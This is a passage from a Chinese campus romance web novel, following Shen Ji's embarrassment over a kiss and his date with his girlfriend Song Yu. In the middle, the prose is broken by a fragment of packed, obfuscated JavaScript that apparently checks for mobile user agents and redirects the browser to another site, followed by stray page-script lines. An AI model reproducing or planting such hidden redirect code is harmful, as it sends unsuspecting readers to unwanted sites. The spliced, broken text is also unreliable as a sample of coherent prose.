倚在一旁的丁思越慢悠悠地补了句：“羞成这样，是荤亲还是素亲啊？纯情小少爷。” 这句话成功让沈霁炸毛了：“丁思越你个老变态给我滚远点！” 收拾完三位嘴欠人士的沈霁坐回自己的位置，可脑海中依旧回荡着丁思越方才那句话。 沈霁现在的思绪跳跃得厉害，一会儿是宋妤那个一触即分的脸颊吻，一会儿是丁思越那个没有边界感的问题。 荤...荤亲...... 没吃过猪肉至少也见过猪跑的沈霁联想到影视剧里还有在学校里偶然撞见的那些画面。 那种唇齿相依，舌尖交缠，共享彼此呼吸的画面。 他和宋妤也...... “靠靠靠！” 沈霁赶紧把那些不健康的画面挥出了自己的脑海，不能继续让这种东西侵扰他纯洁的心灵才行。 丁思越颇为不屑地冷哼一声：“你最好是。” ... 翌日就是周末。 沈霁和宋妤约了去新开的主题游乐场，为了彰显身为男友的体贴，沈霁特意交代了宋妤，睡到自然醒再打电话叫他。不过沈霁自己倒是一大早就醒了，即使昨晚又没怎么休息好，身体还是不自觉地比闹钟先醒一步。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627509|134654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后沈霁就开始捯饬自己了，还特地洗了个头，吹了个利落的发型。 薛子奇和杜沧都还在睡，只有同样准备出去约会的丁思越，坐在桌前饶有兴致地看着沈霁的衣服换了一件又一件。 “我说沈少爷，够帅了，别再照了成不。”丁思越单手撑着下巴，“给我们这些凡人留条活路吧。” 沈霁把身上那件外套脱了下来，又挂回了衣柜里：“以前怎么没发现我衣柜里净是这些黑白灰，看着也太沉闷了。” 换来换去，沈霁最后选了件藏蓝色的连帽衫，他平时很少穿这件，丁思越夸了两句，说是比平时那些看上去都更有朝气些。 手机震动了两下，是宋妤发来的消息，说她已经准备好了。沈霁很快回复，准备过去女寝楼下接她。临出门前，沈霁路过杜沧挂在衣柜前的那面镜子，又停下了脚步。 丁思越挑眉问他：“又怎么了？” “我这里，是不是该遮一遮。”沈霁指了指自己眼下不太明显的一点青色。暗道以后一定要注重休息再也熬夜了。说着他又凑近镜子认真地打量了几眼。 “感觉好像比较憔悴，没有平时光彩照人了。” 丁思越收敛起唇边的弧度，一本正经地开口：“喂喂喂，开屏也要有点限度吧。你再这样，我会以为你被什么脏东西上身了。” 着急见女朋友的沈霁没功夫继续跟丁思越呛声，拿起挂在桌边的白色运动胸包就出门了。他到的时候宋妤已经等在楼下，沈霁远远地就看见宋妤坐在花坛旁边的长椅上。 宋妤柔顺的长发盘成了蓬松的丸子头，发带上还挂着蜂蜜小熊的装饰。她今天穿得利落又休闲，短T搭百褶裙，又罩了件浅蓝的外套，整个人看上去清爽又漂亮。 沈霁一时间忘了动作，就那样呆立在原地。 宋妤恰好抬头望过来，抓起搁在一边的斜挎包朝沈霁小跑过来。她今天穿了双厚底小皮鞋，鞋底硬不太好走，一个没注意脚下，就被凸起的石块给绊到，一下子整个人往前倒。 预想之中的疼痛没有如期到来，她跌入了一个满是薄荷香的怀抱。 沈霁挽着宋妤的手臂让她站稳：“急什么呢，怎么用跑的，也不小心点。” 宋妤站稳以后，看向自己的鞋子，微叹一声：“还是不太习惯这种底这么厚的鞋，一个不注意就差点摔了。” 沈霁微微颔首，道：“所以不能着急，以后穿这双鞋别用跑的。” “我也没有很着急啦。”宋妤解释道，“就是不想让你等而已。” 沈霁愣住，一时间没立刻回话。 宋妤觉得他的表情有点奇怪，便疑惑地问：“怎么了吗？” “没，没什么。”沈霁不自在地移开了眼睛。 他只是觉得，自己真的栽了而已。 明明应该是没什么特殊含义的一句话，偏偏到了自己的耳朵里，总能瞬间解读出千万种意思来。 那都是因为，他真的，真的好喜欢宋妤。